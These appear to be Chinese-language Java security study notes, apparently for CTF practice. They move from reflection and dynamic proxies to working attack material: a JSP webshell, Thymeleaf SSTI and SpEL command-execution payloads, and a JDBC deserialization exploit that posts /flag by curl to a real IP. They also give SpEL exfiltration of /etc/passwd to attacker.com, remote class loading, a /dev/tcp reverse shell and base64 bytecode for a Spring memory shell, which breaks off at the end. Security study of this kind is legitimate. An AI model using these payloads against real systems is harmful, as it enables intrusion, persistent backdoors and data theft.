Java
java 特性
反射
反射存在的价值:在编译时不确定类型的情况下执行方法调用 & 调用或设置私有属性/方法。
获取 Class 对象
类获取 Class 对象
1
| Class<String> stringClass = String.class;
|
对象获取 Class 对象
1 2
| String str = "Hello"; Class<? extends String> stringClass = str.getClass();
|
全名获取 Class 对象
1 2 3 4 5
| try { Class<?> stringClass = Class.forName("java.lang.String"); } catch (ClassNotFoundException e) { e.printStackTrace(); }
|
Class 对象利用
如果只需要获取特定的,可以用不带 s 的方法,java 会自动匹配方法名对应/参数形式对应的方法或构造函数。
获取构造函数
1 2 3 4 5 6 7 8 9 10
| import java.lang.reflect.Constructor; public class Test { public static void main(String[] args) { Class<?> c = String.class; Constructor<?>[] constructors = c.getConstructors(); for (Constructor<?> constructor : constructors) { System.out.println(constructor.getName()); } } }
|
获取方法
1 2 3 4 5 6 7 8 9 10
| import java.lang.reflect.Method; public class Test { public static void main(String[] args) { Class<?> c = String.class; Method[] methods = c.getMethods(); for (Method method : methods) { System.out.println(method.getName()); } } }
|
获取属性
1 2 3 4 5 6 7 8 9 10
| import java.lang.reflect.Field; public class Test { public static void main(String[] args) { Class<?> c = String.class; Field[] fields = c.getFields(); for (Field field : fields) { System.out.println(field.getName()); } } }
|
后续利用
实例化对象
1
| Object instance = constructor.newInstance("example");
|
调用对象方法
如果对象方法是 static (不依赖于实例的),instance 参数可以传 null。
1
| Object result = method.invoke(instance, "arg1", 123);
|
获取设置属性值
1 2
| Object value = field.get(instance); field.set(instance, "new value");
|
例子
java.lang.Runtime
exp1
1 2 3
| Class clazz = Class.forName("java.lang.Runtime"); Object runTime = clazz.getMethod("getRuntime").invoke(null); clazz.getMethod("exec", String.class).invoke(runTime, "calc");
|
exp2
1 2 3 4
| Class clazz = Class.forName("java.lang.Runtime"); Constructor constructor = clazz.getDeclaredConstructor(); constructor.setAccessible(true); clazz.getMethod("exec", String.class).invoke(constructor.newInstance(), "calc");
|
java.lang.ProcessBuilder
exp1
1 2
| Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(List.class).newInstance(Arrays.asList("calc")));
|
exp2
1 2
| Class clazz = Class.forName("java.lang.ProcessBuilder"); clazz.getMethod("start").invoke(clazz.getConstructor(String[].class).newInstance(new String[][]{{"calc"}}));
|
代理
为其他对象提供一种代理以控制对这个对象的访问,简单说,就是不直接调用目标对象,而是通过一个代理对象来间接调用。
静态代理
代理关系在编译期就确定了
需要为每一个被代理的类单独编写一个代理类。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| interface UserService { void save(); }
class UserServiceImpl implements UserService { public void save() { System.out.println("保存用户"); } }
class UserServiceProxy implements UserService { private UserService target; public UserServiceProxy(UserService target) { this.target = target; } public void save() { System.out.println("前置处理"); target.save(); System.out.println("后置处理"); } }
public class Test { public static void main(String[] args) { UserService realService = new UserServiceImpl(); UserService proxy = new UserServiceProxy(realService); proxy.save(); } }
|
动态代理
动态代理能通过动态创建代理类,允许我们进行一些在不修改代码的前提下,对目标类(继承于接口)进行(修改后)调用。
- 在运行时动态生成代理类的字节码
- 代理关系在运行时才确定
- 一个代理处理器可以代理多个(写一个接口继承于 InvocationHandler,通过用 Proxy 类实例化不同的动态代理)。
Proxy
用于创建代理类的工厂类,提供了 newProxyInstance 方法来生成动态代理对象。
1 2 3 4 5
| public class Proxy { public static Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) }
|
InvocationHandler 接口
1 2 3
| public interface InvocationHandler { public Object invoke(Object proxy, Method method, Object[] args) throws Throwable; }
|
例子
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| import java.lang.reflect.InvocationHandler; import java.lang.reflect.Method; import java.lang.reflect.Proxy; interface BusinessInterface { void doSomething(); } class RealBusiness implements BusinessInterface { @Override public void doSomething() { System.out.println("Real business logic is executed."); } } class CustomInvocationHandler implements InvocationHandler { private Object target; public CustomInvocationHandler(Object target) { this.target = target; } @Override public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { System.out.println("Before executing method " + method.getName()); Object result = method.invoke(target, args); System.out.println("After executing method " + method.getName()); return result; } } public class DynamicProxyExample { public static void main(String[] args) { BusinessInterface realObject = new RealBusiness(); CustomInvocationHandler handler = new CustomInvocationHandler(realObject); BusinessInterface proxyObject = (BusinessInterface) Proxy.newProxyInstance( realObject.getClass().getClassLoader(), realObject.getClass().getInterfaces(), handler); proxyObject.doSomething(); } }
|
实际上调用的 proxyObject.doSomething => handler.invoke(重写+调用)
super/this
一个子类 super 会调用父类的构造方法。
this 会依据参数自动调自己类的构造方法。
如果 super & this 必须出现一个且唯一(任何类都继承于 Object ),如果没有的话编译器自动会加入无参的 super。
javassist
动态创建一个 class 字节码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
| package com.example.demo;
import javassist.ClassPool; import javassist.CtClass; import javassist.CtField; import javassist.CtMethod; import org.apache.commons.io.FileUtils;
import java.io.File;
public class Transform { public static void main(String[] args) { ClassPool classPool = ClassPool.getDefault(); CtClass ctClass = classPool.makeClass("com.ctf.ssist.JavassistHelloWorld");
try { CtField ctField = CtField.make("private static String content = \"yiyandingzhen\";", ctClass); ctClass.addField(ctField);
CtMethod ctMethod = CtMethod.make("public static void main(String[] args) { System.out.println(content); }", ctClass); ctClass.addMethod(ctMethod);
File outputDir = new File(System.getProperty("user.dir"), "src/main/java/com/ctf/ssist/"); if (!outputDir.exists()) { outputDir.mkdirs(); }
File classFilePath = new File(outputDir, "JavassistHelloWorld.class"); byte[] bytes = ctClass.toBytecode(); FileUtils.writeByteArrayToFile(classFilePath, bytes);
System.out.println("类文件生成成功: " + classFilePath.getAbsolutePath());
} catch (Exception e) { e.printStackTrace(); } } }
|
一句话 jsp 木马
1
| <% if("zzz".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print("<pre>"); while((a=in.read(b))!=-1){ out.println(new String(b)); } out.print("</pre>"); } %>
|
1
| http://目标网站/shell.jsp?pwd=zzz&i=whoami
|
Thymeleaf
控制视图名
漏洞代码示例:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| package com.just.controller;
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.GetMapping; import org.springframework.web.bind.annotation.PathVariable; import org.springframework.web.bind.annotation.RequestParam; import java.io.IOException;
@Controller public class DemoController { @GetMapping("/demo1") public String demo1(@RequestParam String data) throws IOException { System.out.println(data); return data; } @GetMapping("/demo2/{data}") public String demo2(@PathVariable String data) { System.out.println(data); return data; } }
|
形式:
3.0.11版本及之前
1 2
| /demo1?data=__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__:: /demo2/__$%7BT(java.lang.Runtime).getRuntime().exec("calc")%7D__::
|
3.0.12
1 2 3 4 5 6 7 8 9 10
| @GetMapping("/demo3") public String demo3(@RequestParam String data) { System.out.println(data); return "demo3/" + data; } @GetMapping("/demo4/{data}") public String demo4(@PathVariable String data) { System.out.println(data); return "demo4/" + data; }
|
payload:
1 2 3 4
| /demo3?data=__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: /demo4/;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: /demo4;/__$%7BT%20(java.lang.Runtime).getRuntime().exec("calc")%7D__:: /demo4
|
SSTI
Thymeleaf SSTI模板注入分析
Description:
1 2 3 4 5 6 7 8
| @GetMapping("/") public String Welcome(String type) throws UnsupportedEncodingException { System.out.println(type); if(!type.equals("")) { return "hello/"+type+"/challenge"; } return "index"; }
|
payload:
1 2 3 4 5
| __${T%20(java.lang.Runtime).getRuntime().exec(%22calc%22)}__::.x __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::.x __${T(java.lang.Thread).sleep(10000)}__::... __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22id%22).getInputStream()).next()%7d__::... __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc.exe%22).getInputStream()).next()%7d__::.x
|
.HTMl
1 2 3 4 5 6 7
| <html><body><p th:text="${@environment.getSystemEnvironment()}"></p></body></html>
<span th:text="${''.class.forName('java.util.Arrays').toString(''.class.forName('java.nio.file.Files').list(''.class.forName('java.nio.file.Path').of('/')).toArray())}"></span>
<span th:text="${''.class.forName('java.nio.file.Files').readString(''.class.forName('java.nio.file.Path').of('/fl'.concat('ag_y0u_d0nt_kn0w')))}"></span>
|
JDBC
反序列化
JDBC反序列化 - 卡拉梅尔 - 博客园
工具:
4ra1n/mysql-fake-server: 纯 Java 实现的 MySQL Fake Server | 支持 GUI 版和命令行版 | 支持反序列化和文件读取的利用方式 | 支持常见的 GADGET 和自定义 GADGET 数据 | 根据目标环境自动生成匹配的 PAYLOAD | 支持 PGSQL 和 DERBY 的利用
cc链的话选择工具中 cc31 这一条链。
exp:
1 2 3 4 5 6 7
| java -jar fake-mysql-cli-0.0.4.jar
jdbc:mysql://123.57.107.33:3308/mysql?queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
deser_CC31_curl http://123.57.107.33:1337/ -F xx=@/flag -X POST
http://019a91e6-fff7-784a-8389-d4acc613a332.geek.ctfplus.cn/connect?url=jdbc%3Amysql%3A%2F%2F123.57.107.33%3A3308%2Fmysql%3FqueryInterceptors%3Dcom.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor%26autoDeserialize%3Dtrue&name=base64ZGVzZXJfQ0MzMV9jdXJsIGh0dHA6Ly8xMjMuNTcuMTA3LjMzOjEzMzcvIC1GIHh4PUAvZmxhZyAtWCBQT1NU&pass=1
|

SPEL 注入
SPEL注入总结&&回显技术
Spring表达式语言(Spring Expression Language,简称SpEL)是一种功能强大的表达式语言,它可以用于在Spring配置中动态地访问和操作对象属性、调用方法、执行计算等,SPEL的设计目标是让Spring应用程序中的bean配置和运行时操作更加灵活和可扩展,其语法和OGNL、MVEL等表达式语法类似。
SPEL 语法
spel语法中的 T() 操作符 , T() 操作符会返回一个 object , 它可以帮助我们获取某个类的静态方法 , 用法 T(全限定类名).方法名() 。
spel中的 # 操作符可以用于标记对象
使用 #variable 来引用在EvaluationContext定义的变量。
除了可以引用自定义变量,还可以使用 #root 引用根对象,#this 引用当前上下文对象,此处 #this 即根对象。
SPEL 例子

20行解析 SPEL 表达式,22行执行。
payload
ProcessBuilder
1
| new java.lang.ProcessBuilder(new String[]{"calc"}).start()
|
RunTime
1 2 3 4 5 6 7 8 9 10 11 12
| T(java.lang.System).getenv() T(java.lang.Runtime).getRuntime.exec('calc');
new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine() new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
payload=#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
|
ScriptEngine
1 2 3 4
| new javax.script.ScriptEngineManager().getEngineByName('nashorn').eval('s=[1];s[0]=\'calc\';java.lang.Runtime.getRuntime().exec(s);')
new javax.script.ScriptEngineManager().getEngineByName('javascript').eval("s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);"") //T指令只能解析 静态方法,而 getEngineByName 不是 static。
|
URL 外带
1 2 3 4 5 6 7 8 9 10 11 12 13
| new java.net.URL("http://attacker.com/steal?data=" + java.net.URLEncoder.encode(new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd")))) ).openConnection().getInputStream() T(java.net.http.HttpClient).newHttpClient().send( T(java.net.http.HttpRequest).newBuilder() .uri(T(java.net.URI).create("http://attacker.com/steal")) .header("Content-Type", "text/plain") .POST(T(java.net.http.HttpRequest.BodyPublishers).ofString(new String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get("/etc/passwd"))))) .build(), T(java.net.http.HttpResponse.BodyHandlers).discarding() )
|
本地 AppClassLoader 加载
1
| T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')
|
远程类加载
1 2 3 4 5 6 7 8
| new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://123.57.107.33:8888/')}) .loadClass("evil") .getConstructors()[0] .newInstance() new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}) .loadClass("evil") .newInstance() new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL("http://127.0.0.1:8999/Exp.jar")}).loadClass("Exp").getConstructors()[0].newInstance("127.0.0.1:2333")
|
exp.jar
1 2 3 4 5 6 7 8 9 10 11
| public class Exp{ public Exp(String address){ address = address.replace(":","/"); ProcessBuilder p = new ProcessBuilder("/bin/bash","-c","exec 5<>/dev/tcp/"+address+";cat <&5 | while read line; do $line 2>&5 >&5; done"); try { p.start(); } catch (IOException e) { e.printStackTrace(); } } }
|
evil.class
1 2 3 4 5 6 7 8 9
| public class evil { static { try { Runtime.getRuntime().exec("calc"); } catch (Exception e) {} } public evil() {} }
|
evil.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class evil extends AbstractTranslet { static { try { Runtime.getRuntime().exec("calc"); } catch (IOException e) { throw new RuntimeException(e); } }
public static void main(String[] args) { }
@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException { }
@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
内存马
传值:
1 2 3 4
| T(org.springframework.cglib.core.ReflectUtils).defineClass('com.example.demo.InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('qwqqwq'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance() yv66vgAAADQBAQoAOwCLCABWCwCMAI0IAI4LAI8AkAsAjwCRCACSCACTCgCUAJUKAA4AlggAlwoADgCYBwCZBwCaCACbCACcCgANAJ0IAJ4IAJ8HAKAKAA0AoQoAogCjCgAUAKQIAKUKABQApgoAFACnCgAUAKgKABQAqQoAqgCrCgCqAKwKAKoAqQcArQoAIACuCwA8AK8LADwAsAkAlACxCACyCgCzAKsKALQAtQgAtgsAtwC4BwC5BwC6CwAqALsHALwIAL0KAL4AvwcAwAoAMACuCgDBAMIKAMEAwwcAxAcAxQoANQCuBwDGCgA3AIsLADQAxwgAyAcAyQcAygEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQAjTGNvbS9leGFtcGxlL2RlbW8vSW5jZXB0b3JNZW1TaGVsbDsBAAlwcmVIYW5kbGUBAGQoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3Q7TGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlO0xqYXZhL2xhbmcvT2JqZWN0OylaAQAHYnVpbGRlcgEAGkxqYXZhL2xhbmcvUHJvY2Vzc0J1aWxkZXI7AQALcHJpbnRXcml0ZXIBABVMamF2YS9pby9QcmludFdyaXRlcjsBAAFvAQASTGphdmEvbGFuZy9TdHJpbmc7AQABYwEAE0xqYXZhL3V0aWwvU2Nhbm5lcjsBAAFlAQAVTGphdmEvbGFuZy9FeGNlcHRpb247AQAHcmVxdWVzdAEAJ0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0OwEACHJlc3BvbnNlAQAoTGphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlc3BvbnNlOwEAB2hhbmRsZXIBABJMamF2YS9sYW5nL09iamVjdDsBAANjbWQBAA1TdGFja01hcFRhYmxlBwDGBwDLBwDMBwDNBwCaBwDOBwCZBwCgBwCtAQAKRXhjZXB0aW9ucwEAEE1ldGhvZFBhcmFtZXRlcnMBAApwb3N0SGFuZGxlAQCSKExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7KVYBAAxtb2RlbEFuZFZpZXcBAC5Mb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9Nb2RlbEFuZFZpZXc7AQAPYWZ0ZXJDb21wbGV0aW9uAQB5KExqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXF1ZXN0O0xqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZTtMamF2YS9sYW5nL09iamVjdDtMamF2YS9sYW5nL0V4Y2VwdGlvbjspVgEAAmV4AQAJdHJhbnNmb3JtAQByKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO1tMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOylWAQAIZG9jdW1lbnQBAC1MY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTsBAAhoYW5kbGVycwEAQltMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9zZXJpYWxpemVyL1NlcmlhbGl6YXRpb25IYW5kbGVyOwcAzwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAAg8Y2xpbml0PgEAIExqYXZhL2xhbmcvTm9TdWNoRmllbGRFeGNlcHRpb247AQAiTGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uOwEAB2NvbnRleHQBADdMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQ7AQAVbWFwcGluZ0hhbmRsZXJNYXBwaW5nAQBUTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL3NlcnZsZXQvbXZjL21ldGhvZC9hbm5vdGF0aW9uL1JlcXVlc3RNYXBwaW5nSGFuZGxlck1hcHBpbmc7AQAFZmllbGQBABlMamF2YS9sYW5nL3JlZmxlY3QvRmllbGQ7AQARYWRhcHRJbnRlcmNlcHRvcnMBABBMamF2YS91dGlsL0xpc3Q7AQAPZXZpbEludGVyY2VwdG9yAQAWTG9jYWxWYXJpYWJsZVR5cGVUYWJsZQEARkxqYXZhL3V0aWwvTGlzdDxMb3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvc2VydmxldC9IYW5kbGVySW50ZXJjZXB0b3I7PjsHALkHALoHANAHAMAHAMQHAMUBAApTb3VyY2VGaWxlAQAVSW5jZXB0b3JNZW1TaGVsbC5qYXZhDAA9AD4HAMsMANEA0gEAA2diawcAzAwA0wDUDADVANYBAAABAAdvcy5uYW1lBwDXDADYANIMANkA2gEAA3dpbgwA2wDcAQAYamF2YS9sYW5nL1Byb2Nlc3NCdWlsZGVyAQAQamF2YS9sYW5nL1N0cmluZwEAB2NtZC5leGUBAAIvYwwAPQDdAQAJL2Jpbi9iYXNoAQACLWMBABFqYXZhL3V0aWwvU2Nhbm5lcgwA3gDfBwDgDADhAOIMAD0A4wEADXdvY2Fvc2luaWRlbWEMAOQA5QwA5gDnDADoANoMAOkAPgcAzgwA6gDUDADrAD4BABNqYXZhL2xhbmcvRXhjZXB0aW9uDADsAD4MAGMAZAwAZwBoDADtAO4BAAZzdGFhcnQHAO8HAPAMAPEA8gEAOW9yZy5zcHJpbmdmcmFtZXdvcmsud2ViLnNlcnZsZXQuRGlzcGF0Y2hlclNlcnZsZXQuQ09OVEVYVAcA8wwA9AD1AQA1b3JnL3NwcmluZ2ZyYW1ld29yay93ZWIvY29udGV4dC9XZWJBcHBsaWNhdGlvbkNvbnRleHQBAFJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L212Yy9tZXRob2QvYW5ub3RhdGlvbi9SZXF1ZXN0TWFwcGluZ0hhbmRsZXJNYXBwaW5nDAD2APcBAD5vcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L2hhbmRsZXIvQWJzdHJhY3RIYW5kbGVyTWFwcGluZwEAE2FkYXB0ZWRJbnRlcmNlcHRvcnMHAPgMAPkA+gEAHmphdmEvbGFuZy9Ob1N1Y2hGaWVsZEV4Y2VwdGlvbgcA0AwA+wD8DAD9AP4BAA5qYXZhL3V0aWwvTGlzdAEAIGphdmEvbGFuZy9JbGxlZ2FsQWNjZXNzRXhjZXB0aW9uAQAhY29tL2V4YW1wbGUvZGVtby9JbmNlcHRvck1lbVNoZWxsDAD/AQABAAJvawEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQBADJvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9zZXJ2bGV0L0hhbmRsZXJJbnRlcmNlcHRvcgEAJWphdmF4L3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBACZqYXZheC9zZXJ2bGV0L2h0dHAvSHR0cFNlcnZsZXRSZXNwb25zZQEAEGphdmEvbGFuZy9PYmplY3QBABNqYXZhL2lvL1ByaW50V3JpdGVyAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAXamF2YS9sYW5nL3JlZmxlY3QvRmllbGQBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAFHNldENoYXJhY3RlckVuY29kaW5nAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAJZ2V0V3JpdGVyAQAXKClMamF2YS9pby9QcmludFdyaXRlcjsBABBqYXZhL2xhbmcvU3lzdGVtAQALZ2V0UHJvcGVydHkBAAt0b0xvd2VyQ2FzZQEAFCgpTGphdmEvbGFuZy9TdHJpbmc7AQAIY29udGFpbnMBABsoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KVoBABYoW0xqYXZhL2xhbmcvU3RyaW5nOylWAQAFc3RhcnQBABUoKUxqYXZhL2xhbmcvUHJvY2VzczsBABFqYXZhL2xhbmcvUHJvY2VzcwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBACooTGphdmEvaW8vSW5wdXRTdHJlYW07TGphdmEvbGFuZy9TdHJpbmc7KVYBAAx1c2VEZWxpbWl0ZXIBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3V0aWwvU2Nhbm5lcjsBAAdoYXNOZXh0AQADKClaAQAEbmV4dAEABWNsb3NlAQAHcHJpbnRsbgEABWZsdXNoAQAPcHJpbnRTdGFja1RyYWNlAQADb3V0AQAVTGphdmEvaW8vUHJpbnRTdHJlYW07AQATamF2YS9pby9QcmludFN0cmVhbQEAPG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0Q29udGV4dEhvbGRlcgEAGGN1cnJlbnRSZXF1ZXN0QXR0cmlidXRlcwEAPSgpTG9yZy9zcHJpbmdmcmFtZXdvcmsvd2ViL2NvbnRleHQvcmVxdWVzdC9SZXF1ZXN0QXR0cmlidXRlczsBADlvcmcvc3ByaW5nZnJhbWV3b3JrL3dlYi9jb250ZXh0L3JlcXVlc3QvUmVxdWVzdEF0dHJpYnV0ZXMBAAxnZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7SSlMamF2YS9sYW5nL09iamVjdDsBAAdnZXRCZWFuAQAlKExqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvT2JqZWN0OwEAD2phdmEvbGFuZy9DbGFzcwEAEGdldERlY2xhcmVkRmllbGQBAC0oTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAA1zZXRBY2Nlc3NpYmxlAQAEKFopVgEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQADYWRkAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaACEANwA7AAEAPAAAAAcAAQA9AD4AAQA/AAAALwABAAEAAAAFKrcAAbEAAAACAEAAAAAGAAEAAAAUAEEAAAAMAAEAAAAFAEIAQwAAAAEARABFAAMAPwAAAgUABgAJAAAAvisSArkAAwIAOgQZBMYAsCwSBLkABQIALLkABgEAOgUSBzoHEgi4AAm2AAoSC7YADJkAIrsADVkGvQAOWQMSD1NZBBIQU1kFGQRTtwAROganAB+7AA1ZBr0ADlkDEhJTWQQSE1NZBRkEU7cAEToGuwAUWRkGtgAVtgAWEgS3ABcSGLYAGToIGQi2ABqZAAsZCLYAG6cABRkHOgcZCLYAHBkFGQe2AB0ZBbYAHhkFtgAfpwAKOgUZBbYAIQOsBKwAAQAPALAAswAgAAMAQAAAAE4AEwAAAC4ACgAvAA8AMQAXADIAHwA0ACMANQAzADYAUgA4AG4AOgCGADsAmgA8AJ8APQCmAD4AqwA/ALAAQgCzAEAAtQBBALoAQwC8AEUAQQAAAHAACwBPAAMARgBHAAYAHwCRAEgASQAFAG4AQgBGAEcABgAjAI0ASgBLAAcAhgAqAEwATQAIALUABQBOAE8ABQAAAL4AQgBDAAAAAAC+AFAAUQABAAAAvgBSAFMAAgAAAL4AVABVAAMACgC0AFYASwAEAFcAAABjAAf/AFIACAcAWAcAWQcAWgcAWwcAXAcAXQAHAFwAAP8AGwAIBwBYBwBZBwBaBwBbBwBcBwBdBwBeBwBcAAD8ACcHAF9BBwBc/wAaAAUHAFgHAFkHAFoHAFsHAFwAAQcAYAYBAGEAAAAEAAEAIABiAAAADQMAUAAAAFIAAABUAAAAAQBjAGQAAwA/AAAAYAAFAAUAAAAKKissLRkEtwAisQAAAAIAQAAAAAoAAgAAAEoACQBLAEEAAAA0AAUAAAAKAEIAQwAAAAAACgBQAFEAAQAAAAoAUgBTAAIAAAAKAFQAVQADAAAACgBlAGYABABhAAAABAABACAAYgAAABEEAFAAAABSAAAAVAAAAGUAAAABAGcAaAADAD8AAABgAAUABQAAAAoqKywtGQS3ACOxAAAAAgBAAAAACgACAAAATwAJAFAAQQAAADQABQAAAAoAQgBDAAAAAAAKAFAAUQABAAAACgBSAFMAAgAAAAoAVABVAAMAAAAKAGkATwAEAGEAAAAEAAEAIABiAAAAEQQAUAAAAFIAAABUAAAAaQAAAAEAagBrAAMAPwAAAD8AAAADAAAAAbEAAAACAEAAAAAGAAEAAABVAEEAAAAgAAMAAAABAEIAQwAAAAAAAQBsAG0AAQAAAAEAbgBvAAIAYQAAAAQAAQBwAGIAAAAJAgBsAAAAbgAAAAEAagBxAAMAPwAAAEkAAAAEAAAAAbEAAAACAEAAAAAGAAEAAABaAEEAAAAqAAQAAAABAEIAQwAAAAAAAQBsAG0AAQAAAAEAcgBzAAIAAAABAFQAdAADAGEAAAAEAAEAcABiAAAADQMAbAAAAHIAAABUAAAACAB1AD4AAQA/AAABaQADAAUAAABqsgAkEiW2ACa4ACcSKAO5ACkDAMAAKksqEiu5ACwCAMAAK0wBTRItEi62AC9NpwAITi22ADEsBLYAMgFOLCu2ADPAADROpwAKOgQZBLYANrsAN1m3ADg6BC0ZBLkAOQIAV7IAJBI6tgAmsQACACUALQAwADAAPABFAEgANQAEAEAAAABKABIAAAAXAAgAGAAXABkAIwAaACUAHAAtAB8AMAAdADEAHgA1ACAAOgAhADwAIwBFACYASAAkAEoAJQBPACcAWAAoAGEAKQBpACoAQQAAAEgABwAxAAQATgB2AAMASgAFAE4AdwAEABcAUgB4AHkAAAAjAEYAegB7AAEAJQBEAHwAfQACADwALQB+AH8AAwBYABEAgABDAAQAgQAAAAwAAQA8AC0AfgCCAAMAVwAAAC0ABP8AMAADBwCDBwCEBwCFAAEHAIYE/wASAAQHAIMHAIQHAIUHAIcAA